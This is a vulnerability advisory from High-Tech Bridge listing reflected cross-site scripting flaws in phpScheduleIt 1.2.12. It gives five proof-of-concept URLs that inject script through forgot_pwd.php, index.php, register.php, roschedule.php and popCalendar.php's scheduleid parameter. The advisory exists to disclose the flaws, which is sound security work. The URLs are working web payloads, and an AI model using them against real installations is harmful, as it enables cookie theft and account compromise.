HTB22987: Multiple XSS in phpScheduleIt



Vulnerability ID: HTB22987
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_phpscheduleit.html
Product: phpScheduleIt
Vendor: php.brickhost.com
Vulnerable Version: 1.2.12
Vendor Notification: 05 May 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "forgot_pwd.php" script to properly sanitize user-supplied input.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based auwhentication credentials, disclosure or modification of sensitive data.
The following PoC is available:

http://[host]/forgot_pwd.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input.
The following PoC is available:

http://[host]/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

The vulnerability exists due to failure in the "register.php" script to properly sanitize user-supplied input.
The following PoC is available:

http://[host]/register.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

The vulnerability exists due to failure in the "roschedule.php" script to properly sanitize user-supplied input.
The following PoC is available:

http://[host]/roschedule.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

The vulnerability exists due to failure in the "popCalendar.php" script to properly sanitize user-supplied input in "scheduleid" variable.
The following PoC is available:

http://[host]/popCalendar.php?scheduleid=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E